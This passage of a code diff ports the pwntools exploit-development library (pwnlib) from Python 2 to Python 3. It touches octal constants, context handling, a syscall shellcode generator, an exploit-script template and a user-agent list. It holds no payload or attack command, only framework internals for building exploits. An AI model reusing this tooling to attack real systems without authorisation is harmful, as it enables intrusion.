-O_EXCL = Constant('O_EXCL',0200)
-O_NOCTTY = Constant('O_NOCTTY',0400)
-O_TRUNC = Constant('O_TRUNC',01000)
-O_APPEND = Constant('O_APPEND',02000)
-O_NONBLOCK = Constant('O_NONBLOCK',04000)
-O_NDELAY = Constant('O_NDELAY',04000)
-O_SYNC = Constant('O_SYNC',010000)
-FASYNC = Constant('FASYNC',020000)
-O_DIRECTORY = Constant('O_DIRECTORY',040000)
-O_NOFOLLOW = Constant('O_NOFOLLOW',0100000)
-O_DIRECT = Constant('O_DIRECT',0200000)
-O_LARGEFILE = Constant('O_LARGEFILE',0400000)
-O_NOATIME = Constant('O_NOATIME',01000000)
+O_ACCMODE = Constant('O_ACCMODE',0o003)
+O_RDONLY = Constant('O_RDONLY',0o0)
+O_WRONLY = Constant('O_WRONLY',0o1)
+O_RDWR = Constant('O_RDWR',0o2)
+O_CREAT = Constant('O_CREAT',0o100)
+O_EXCL = Constant('O_EXCL',0o200)
+O_NOCTTY = Constant('O_NOCTTY',0o400)
+O_TRUNC = Constant('O_TRUNC',0o1000)
+O_APPEND = Constant('O_APPEND',0o2000)
+O_NONBLOCK = Constant('O_NONBLOCK',0o4000)
+O_NDELAY = Constant('O_NDELAY',0o4000)
+O_SYNC = Constant('O_SYNC',0o10000)
+FASYNC = Constant('FASYNC',0o20000)
+O_DIRECTORY = Constant('O_DIRECTORY',0o40000)
+O_NOFOLLOW = Constant('O_NOFOLLOW',0o100000)
+O_DIRECT = Constant('O_DIRECT',0o200000)
+O_LARGEFILE = Constant('O_LARGEFILE',0o400000)
+O_NOATIME = Constant('O_NOATIME',0o1000000)
 F_DUPFD = Constant('F_DUPFD',0)
 F_GETFD = Constant('F_GETFD',1)
 F_SETFD = Constant('F_SETFD',2)
@@ -992,7 +992,7 @@ LOCK_MAND = Constant('LOCK_MAND',32)
 LOCK_READ = Constant('LOCK_READ',64)
 LOCK_WRITE = Constant('LOCK_WRITE',128)
 LOCK_RW = Constant('LOCK_RW',192)
-O_ASYNC = Constant('O_ASYNC',020000)
+O_ASYNC = Constant('O_ASYNC',0o20000)
 MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)
 MREMAP_FIXED = Constant('MREMAP_FIXED',2)
 PROT_READ = Constant('PROT_READ',0x1)

pwnlib/context/__init__.py

@@ -5,12 +5,14 @@ Implements context management so that nested/scoped contexts and threaded
 contexts work properly and as expected.
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import collections
 import functools
 import logging
 import os
 import platform
+import six
 import socket
 import stat
 import string
@@ -138,9 +140,9 @@ class _Tls_DictStack(threading.local, _DictStack):
 
         >>> t = pwnlib.context._Tls_DictStack({})
         >>> t['key'] = 'value'
-        >>> print t
+        >>> print(t)
         {'key': 'value'}
-        >>> def p(): print t
+        >>> def p(): print(t)
         >>> thread = threading.Thread(target=p)
         >>> _ = (thread.start(), thread.join())
         {}
@@ -194,9 +196,9 @@ class Thread(threading.Thread):
         >>> context.clear()
         >>> context.update(arch='arm')
         >>> def p():
-        ...     print context.arch
+        ...     print(context.arch)
         ...     context.arch = 'mips'
-        ...     print context.arch
+        ...     print(context.arch)
         >>> # Note that a normal Thread starts with a clean context
         >>> # (i386 is the default architecture)
         >>> t = threading.Thread(target=p)
@@ -204,7 +206,7 @@ class Thread(threading.Thread):
         i386
         mips
         >>> # Note that the main Thread's context is unchanged
-        >>> print context.arch
+        >>> print(context.arch)
         arm
         >>> # Note that a context-aware Thread receives a copy of the context
         >>> t = pwnlib.context.Thread(target=p)
@@ -212,7 +214,7 @@ class Thread(threading.Thread):
         arm
         mips
         >>> # Again, the main thread is unchanged
-        >>> print context.arch
+        >>> print(context.arch)
         arm
 
     Implementation Details:
@@ -238,7 +240,13 @@ class Thread(threading.Thread):
             differently.
         """
         context.update(**self.old)
-        super(Thread, self).__bootstrap()
+        sup = super(Thread, self)
+        bootstrap = getattr(sup, '_bootstrap', None)
+        if bootstrap is None:
+            sup.__bootstrap()
+        else:
+            bootstrap()
+    _bootstrap = __bootstrap
 
 def _longest(d):
     """
@@ -252,17 +260,13 @@ def _longest(d):
     >>> pwnlib.context._longest(data) == data
     True
     >>> for i in pwnlib.context._longest(data):
-    ...     print i
+    ...     print(i)
     ccc
     bb
     a
     """
     return collections.OrderedDict((k,d[k]) for k in sorted(d, key=len, reverse=True))
 
-def TlsProperty(object):
-    def __get__(self, obj, objtype=None):
-        return obj._tls
-
 class ContextType(object):
     r"""
     Class for specifying information about the target machine.
@@ -298,7 +302,7 @@ class ContextType(object):
         >>> context.bits
         32
         >>> def nop():
-        ...   print pwnlib.asm.asm('nop').encode('hex')
+        ...   print(enhex(pwnlib.asm.asm('nop')))
         >>> nop()
         00f020e3
         >>> with context.local(arch = 'i386'):
@@ -337,10 +341,11 @@ class ContextType(object):
         'binary': None,
         'bits': 32,
         'buffer_size': 4096,
-        'cyclic_alphabet': string.ascii_lowercase,
+        'cyclic_alphabet': string.ascii_lowercase.encode(),
         'cyclic_size': 4,
         'delete_corefiles': False,
         'device': os.getenv('ANDROID_SERIAL', None) or None,
+        'encoding': 'auto',
         'endian': 'little',
         'gdbinit': "",
         'kernel': None,
@@ -392,6 +397,7 @@ class ContextType(object):
         'sparc64':   big_64,
         'thumb':     little_32,
         'vax':       little_32,
+        'none':      {},
     })
 
     #: Valid values for :attr:`endian`
@@ -420,7 +426,7 @@ class ContextType(object):
 
         All keyword arguments are passed to :func:`update`.
         """
-        self._tls = _Tls_DictStack(_defaultdict(ContextType.defaults))
+        self._tls = _Tls_DictStack(_defaultdict(self.defaults))
         self.update(**kwargs)
 
 
@@ -500,15 +506,15 @@ class ContextType(object):
             >>> context.timeout = 1
             >>> context.timeout == 1
             True
-            >>> print context.timeout
+            >>> print(context.timeout)
             1.0
             >>> with context.local(timeout = 2):
-            ...     print context.timeout
+            ...     print(context.timeout)
             ...     context.timeout = 3
-            ...     print context.timeout
+            ...     print(context.timeout)
             2.0
             3.0
-            >>> print context.timeout
+            >>> print(context.timeout)
             1.0
         """
         class LocalContext(object):
@@ -687,11 +693,11 @@ class ContextType(object):
                 break
 
         try:
-            defaults = ContextType.architectures[arch]
+            defaults = self.architectures[arch]
         except KeyError:
-            raise AttributeError('AttributeError: arch must be one of %r' % sorted(ContextType.architectures))
+            raise AttributeError('AttributeError: arch must be one of %r' % sorted(self.architectures))
 
-        for k,v in ContextType.architectures[arch].items():
+        for k,v in defaults.items():
             if k not in self._tls:
                 self._tls[k] = v
 
@@ -721,8 +727,8 @@ class ContextType(object):
         Even then, this doesn't matter much -- only when the the segment
         registers need to be known
         """
-        with context.local(arch=arch):
-            return context.arch
+        with self.local(arch=arch):
+            return self.arch
 
     @_validator
     def bits(self, bits):
@@ -777,6 +783,7 @@ class ContextType(object):
         self.arch   = binary.arch
         self.bits   = binary.bits
         self.endian = binary.endian
+        self.os     = binary.os
 
         return binary
 
@@ -785,7 +792,7 @@ class ContextType(object):
         """
         Target machine word size, in bytes (i.e. the size of general purpose registers).
 
-        This is a convenience wrapper around ``bits / 8``.
+        This is a convenience wrapper around ``bits // 8``.
 
         Examples:
 
@@ -798,11 +805,41 @@ class ContextType(object):
             ...
             AttributeError: bits must be > 0 (0)
         """
-        return self.bits/8
+        return self.bits // 8
     @bytes.setter
     def bytes(self, value):
         self.bits = value*8
 
+    @_validator
+    def encoding(self, charset):
+        if charset == 'auto':
+            return charset
+
+        if (  b'aA'.decode(charset) != 'aA'
+            or 'aA'.encode(charset) != b'aA'):
+            raise ValueError('Strange encoding!')
+
+        return charset
+
+    def _encode(self, s):
+        if isinstance(s, (bytes, bytearray)):
+            return s   # already bytes
+
+        if self.encoding == 'auto':
+            try:
+                return s.encode('latin1')
+            except UnicodeEncodeError:
+                return s.encode('utf-8', 'surrogateescape')
+        return s.encode(self.encoding)
+
+    def _decode(self, b):
+        if self.encoding == 'auto':
+            try:
+                return b.decode('utf-8')
+            except UnicodeDecodeError:
+                return b.decode('latin1')
+        return b.decode(self.encoding)
+
     @_validator
     def endian(self, endianness):
         """
@@ -834,10 +871,10 @@ class ContextType(object):
         """
         endian = endianness.lower()
 
-        if endian not in ContextType.endiannesses:
-            raise AttributeError("endian must be one of %r" % sorted(ContextType.endiannesses))
+        if endian not in self.endiannesses:
+            raise AttributeError("endian must be one of %r" % sorted(self.endiannesses))
 
-        return ContextType.endiannesses[endian]
+        return self.endiannesses[endian]
 
 
     @_validator
@@ -894,24 +931,23 @@ class ContextType(object):
             >>> with context.local(log_file='bar.txt'):
             ...     log.debug('Hello from bar!')
             >>> log.info('Hello from foo!')
-            >>> file('foo.txt').readlines()[-3] #doctest: +ELLIPSIS
+            >>> open('foo.txt').readlines()[-3] #doctest: +ELLIPSIS
             '...:DEBUG:...:Hello!\n'
-            >>> file('foo.txt').readlines()[-2] #doctest: +ELLIPSIS
+            >>> open('foo.txt').readlines()[-2] #doctest: +ELLIPSIS
             '...:INFO:...:Hello again!\n'
-            >>> file('foo.txt').readlines()[-1] #doctest: +ELLIPSIS
+            >>> open('foo.txt').readlines()[-1] #doctest: +ELLIPSIS
             '...:INFO:...:Hello from foo!\n'
-            >>> file('bar.txt').readlines()[-1] #doctest: +ELLIPSIS
+            >>> open('bar.txt').readlines()[-1] #doctest: +ELLIPSIS
             '...:DEBUG:...:Hello from bar!\n'
         """
-        if isinstance(value, (str,unicode)):
-            modes = ('w', 'wb', 'a', 'ab')
+        if isinstance(value, (bytes, six.text_type)):
             # check if mode was specified as "[value],[mode]"
             if ',' not in value:
                 value += ',a'
             filename, mode = value.rsplit(',', 1)
             value = open(filename, mode)
 
-        elif not isinstance(value, (file)):
+        elif not hasattr(value, "fileno"):
             raise AttributeError('log_file must be a file')
 
         # Is this the same file we already have open?
@@ -979,8 +1015,8 @@ class ContextType(object):
         """
         os = os.lower()
 
-        if os not in ContextType.oses:
-            raise AttributeError("os must be one of %r" % ContextType.oses)
+        if os not in self.oses:
+            raise AttributeError("os must be one of %r" % self.oses)
 
         return os
 
@@ -1018,11 +1054,11 @@ class ContextType(object):
             ...
             AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string truthy value
         """
-        try:             signed = ContextType.signednesses[signed]
+        try:             signed = self.signednesses[signed]
         except KeyError: pass
 
         if isinstance(signed, str):
-            raise AttributeError('signed must be one of %r or a non-string truthy value' % sorted(ContextType.signednesses))
+            raise AttributeError('signed must be one of %r or a non-string truthy value' % sorted(self.signednesses))
 
         return bool(signed)
 
@@ -1046,7 +1082,7 @@ class ContextType(object):
         Can be a string or an iterable of strings.  In the latter case the first
         entry is the terminal and the rest are default arguments.
         """
-        if isinstance(value, (str, unicode)):
+        if isinstance(value, (bytes, six.text_type)):
             return [value]
         return value
 
@@ -1127,13 +1163,13 @@ class ContextType(object):
     def device(self, device):
         """Sets the device being operated on.
         """
+        if isinstance(device, (bytes, six.text_type)):
+            device = Device(device)
         if isinstance(device, Device):
             self.arch = device.arch or self.arch
             self.bits = device.bits or self.bits
             self.endian = device.endian or self.endian
             self.os = device.os or self.os
-        elif isinstance(device, str):
-            device = Device(device)
         elif device is not None:
             raise AttributeError("device must be either a Device object or a serial number as a string")
 
@@ -1193,7 +1229,7 @@ class ContextType(object):
         if not os.access(home, os.W_OK):
             return None
 
-        cache = os.path.join(home, '.pwntools-cache')
+        cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
 
         if not os.path.exists(cache):
             try:
@@ -1262,7 +1298,7 @@ class ContextType(object):
         if len(set(alphabet)) != len(alphabet):
             raise AttributeError("cyclic alphabet cannot contain duplicates")
 
-        return str(alphabet)
+        return alphabet.encode()
 
     @_validator
     def cyclic_size(self, size):
@@ -1387,11 +1423,39 @@ def LocalContext(function):
     """
     @functools.wraps(function)
     def setter(*a, **kw):
-        # Fast path to skip adding a Context frame
-        if not kw:
-            return function(*a)
+        with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}):
+            arch = context.arch
+            bits = context.bits
+            endian = context.endian
 
-        with context.local(**{k:kw.pop(k) for k,v in kw.items() if isinstance(getattr(ContextType, k, None), property)}):
+            # Prevent the user from doing silly things with invalid
+            # architecture / bits / endianness combinations.
+            if (arch == 'i386' and bits != 32) \
+              or (arch == 'amd64' and bits != 64):
+                raise AttributeError("Invalid arch/bits combination: %s/%s" % (arch, bits))
+
+            if arch in ('i386', 'amd64') and endian == 'big':
+                raise AttributeError("Invalid arch/endianness combination: %s/%s" % (arch, endian))
+
+            return function(*a, **kw)
+    return setter
+
+def LocalNoarchContext(function):
+    """
+    Same as LocalContext, but resets arch to :const:`'none'` by default
+
+    Example:
+
+        >>> @LocalNoarchContext
+        ... def printArch():
+        ...     print(context.arch)
+        >>> printArch()
+        none
+    """
+    @functools.wraps(function)
+    def setter(*a, **kw):
+        kw.setdefault('arch', 'none')
+        with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}):
             return function(*a, **kw)
     return setter
 
@@ -1408,11 +1472,19 @@ def update_context_defaults(section):
 
         default = ContextType.defaults[key]
 
-        if isinstance(default, (str, unicode, tuple, int, long, list, dict)):
+        if isinstance(default, six.string_types + six.integer_types + (tuple, list, dict)):
             value = safeeval.expr(value)
         else:
             log.warn("Unsupported configuration option %r in section %r" % (key, 'context'))
 
-        ContextType.defaults[key] = type(default)(value)
+        # Attempt to set the value, to see if it is value:
+        try:
+            with context.local(**{key: value}):
+                value = getattr(context, key)
+        except (ValueError, AttributeError) as e:
+            log.warn("Could not set context.%s=%s via pwn.conf (%s)", key, section[key], e)
+            continue
+
+        ContextType.defaults[key] = value
 
 register_config('context', update_context_defaults)

pwnlib/data/includes/generator/load_constants.py

@@ -1,4 +1,6 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python
+from __future__ import print_function
+
 import re
 import sys
 
@@ -7,7 +9,7 @@ from pwnlib.util import safeeval
 python = open(sys.argv[1], "w")
 header = open(sys.argv[2], "w")
 
-print >>python, 'from pwnlib.constants.constant import Constant'
+print('from pwnlib.constants.constant import Constant', file=python)
 
 data = sys.stdin.read().strip().split('\n')
 
@@ -29,8 +31,11 @@ for l in data:
     elif val.endswith('L'):
         val = val[:-1]
 
-    print >> python, "{key} = Constant({key!r},{val})".format(**locals())
-    if re.match(r'^0[0-9]', val) or re.match(r'[^0-9a-fA-Fx]0[0-9]', val):
-        print >> header, "#define %s %s" % (key, hex(safeeval.expr(val)))
+    if re.match(r'^0[0-9]', val):
+        val = '0o'+val[1:]
+
+    print("{key} = Constant({key!r},{val})".format(**locals()), file=python)
+    if re.match(r'^0o[0-9]', val) or re.match(r'[^0-9a-fA-Fx]0[0-9]', val):
+        print("#define %s %s" % (key, hex(safeeval.expr(val))), file=header)
     else:
-        print >> header, "#define %s %s" % (key, val)
+        print("#define %s %s" % (key, val), file=header)

pwnlib/data/syscalls/generate.py

@@ -1,4 +1,5 @@
 #!/usr/bin/env python2
+from __future__ import division
 import argparse
 import os
 
@@ -16,6 +17,7 @@ import collections
 import pwnlib.abi
 import pwnlib.constants
 import pwnlib.shellcraft
+import six
 %>
 '''
 
@@ -73,7 +75,9 @@ CALL = """
 
         # The argument is not a register.  It is a string value, and we
         # are expecting a string value
-        elif name in can_pushstr and isinstance(arg, str):
+        elif name in can_pushstr and isinstance(arg, (bytes, six.text_type)):
+            if not isinstance(arg, bytes):
+                arg = arg.encode('utf-8')
             string_arguments[name] = arg
 
         # The argument is not a register.  It is a dictionary, and we are
@@ -107,7 +111,7 @@ CALL = """
 %>
     /* {name}(${{', '.join(syscall_repr)}}) */
 %for name, arg in string_arguments.items():
-    ${{pwnlib.shellcraft.pushstr(arg, append_null=('\\x00' not in arg))}}
+    ${{pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}}
     ${{pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}}
 %endfor
 %for name, arg in array_arguments.items():
@@ -184,12 +188,12 @@ def generate_one(target):
 
         # Skip anything with uppercase
         if name.lower() != name:
-            print 'Skipping %s' % name
+            print('Skipping %s' % name)
             continue
 
         # Skip anything that starts with 'unused' or 'sys' after stripping
         if name.startswith('unused'):
-            print 'Skipping %s' % name
+            print('Skipping %s' % name)
             continue
 
         function = functions.get(name, None)
@@ -200,7 +204,7 @@ def generate_one(target):
         # If we can't find a function, just stub it out with something
         # that has a vararg argument.
         if function is None:
-            print 'Stubbing out %s' % name
+            print('Stubbing out %s' % name)
             args = [Argument('int', 0, 'vararg')]
             function = Function('long', 0, name, args)
 

pwnlib/data/templates/pwnup.mako

@@ -32,7 +32,7 @@ remote_path = remote_path or exe
 password = password or 'secret1234'
 binary_repr = repr(binary)
 %>\
-#!/usr/bin/env python2
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 %if not quiet:
 # This exploit template was generated via:
@@ -132,9 +132,9 @@ def start(argv=[], *a, **kw):
 gdbscript = '''
 %if ctx.binary:
   %if 'main' in ctx.binary.symbols:
-break *0x{exe.symbols.main:x}
-  %else:
-break *0x{exe.entry:x}
+tbreak main
+  %elif 'DYN' != ctx.binary.elftype:
+tbreak *0x{exe.entry:x}
   %endif
 %endif
 continue

pwnlib/data/useragents/LICENSE.txt

@@ -1,13 +1,12 @@
-This directory contains a script `download-useragents.py' which downloads a list
-of user agent strings from the Internet.
+This directory contains a script `download-useragents.py' which downloads a
+list of user agent strings from the Internet.
 
 The user agent strings are downloaded from:
- - http://www.useragentstring.com/
- - http://www.user-agents.org/
+ - http://www.user-agents.org
  - http://techpatterns.com/downloads/firefox/useragentswitcher.xml
 
-The latter list is part of the Firefox `User Agent Switcher' add-on and released
-under BSD 2 Clause.
+The latter list is part of the Firefox `User Agent Switcher' add-on and
+released under BSD 2 Clause.
 
 
 As mentioned elsewhere we are not lawyers and do not know the legal status of

pwnlib/data/useragents/download-useragents.py

@@ -1,13 +1,10 @@
 #!/usr/bin/env python2
-"""
-Script for downloading lists of user agent strings
-"""
+"""Script for downloading lists of user agent strings."""
+from __future__ import division
 import os
-import re
 import urllib
 
 from bs4 import BeautifulSoup
-
 from pwn import *
 
 uas = set()
@@ -23,39 +20,9 @@ def getxml(url):
     f.close()
     return xml
 
-with log.waitfor('Fetching from from http://www.useragentstring.com') as l:
-    html = getxml('http://www.useragentstring.com/pages/All/')
-    soup = BeautifulSoup(html)
-    l.success()
-
-with log.waitfor('Parsing list') as l:
-    liste = soup.select('#liste a')
-    for a in liste:
-        href = a.get('href')
-        if not href or href[0] != '/':
-            continue
-        m = re.match('More (.+) user agents strings -->>', a.string)
-        if m:
-            target = m.group(1)
-            with log.waitfor('Fetching additional user agents for %s' % target) as l:
-                html = getxml('http://www.useragentstring.com' + href)
-                soup = BeautifulSoup(html)
-                subliste = soup.select('#liste a')
-                for a in subliste:
-                    ua = a.string.strip()
-                    try:
-                        ua = ua.decode('utf-8')
-                    except UnicodeEncodeError:
-                        continue
-                    uas.add(ua)
-                l.success()
-        else:
-            uas.add(a.string.strip())
-    l.success()
-
 with log.waitfor('Fetching from from http://techpatterns.com') as l:
     xml = getxml('http://techpatterns.com/downloads/firefox/useragentswitcher.xml')
-    soup = BeautifulSoup(xml)
+    soup = BeautifulSoup(xml, 'html.parser')
     l.success()
 
 def loop(xml):
@@ -67,16 +34,16 @@ def loop(xml):
             uas.add(item['useragent'].strip())
 
 with log.waitfor('Parsing list') as l:
-    loop(soup.body.useragentswitcher)
+    loop(soup.useragentswitcher)
     l.success()
 
 with log.waitfor('Fetching from from http://www.user-agents.org') as l:
     xml = getxml('http://www.user-agents.org/allagents.xml')
-    soup = BeautifulSoup(xml)
+    soup = BeautifulSoup(xml, 'html.parser')
     l.success()
 
 with log.waitfor('Parsing list') as l:
-    for item in soup.body.__getattr__('user-agents'):
+    for item in soup.__getattr__('user-agents'):
         if item.name == 'user-agent':
             ua = item.select('string')[0].string.strip()
             try:

pwnlib/data/useragents/useragents.txt

@@ -8211,6 +8211,7 @@ Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML,
 Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+
 Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+
 Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+
+Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+
 Mozilla/5.0 (Clustered-Search-Bot/1.0; [email protected]; http://www.clush.com/)
 Mozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0
 Mozilla/5.0 (Darwin; FreeBSD 5.6; en-GB; rv:1.9.1b3pre)Gecko/20081211 K-Meleon/1.5.2
@@ -8244,13 +8245,26 @@ Mozilla/5.0 (Linux; Android 4.4.4; XT1032 Build/KXB21.14-L1.61) AppleWebKit/537.
 Mozilla/5.0 (Linux; Android 4.4; Nexus 5 Build/BuildID) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36
+Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524
 Mozilla/5.0 (Linux; Android 5.1; C6740N Build/LMY47O) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 6.0.1; SM-G900H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 6.0; LG-D850 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.97 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 6.0; Nexus 5X Build/MDB08L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.0; LG-H918 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.0; LGL84VL Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.0; LGUS997 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.0; Moto G (5) Plus Build/NPNS25.137-35-5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
 Mozilla/5.0 (Linux; Android 7.0; Nexus 9 Build/NRD90R) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Safari/537.36
+Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.1.1; BBB100-1 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.1.1; XT1710-02 Build/NDS26.74-36) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.1.2; Nexus 6P Build/N2G48C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 7.1.2; Pixel Build/NHG47N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
+Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36
 Mozilla/5.0 (Linux; U) Opera 6.02  [en]
 Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522  (KHTML, like Gecko) Safari/419.3
 Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2
@@ -8369,6 +8383,7 @@ Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010
 Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0) Gecko/20100101 Firefox/5.0
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1
@@ -8405,17 +8420,20 @@ Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko)
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.82 Safari/537.36 OPR/29.0.1795.41
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.105 Safari/537.36 Vivaldi/1.0.162.9
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2859.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.49 Safari/537.36
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Maxthon/4.5.2
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/10.1 Safari/603.1.30
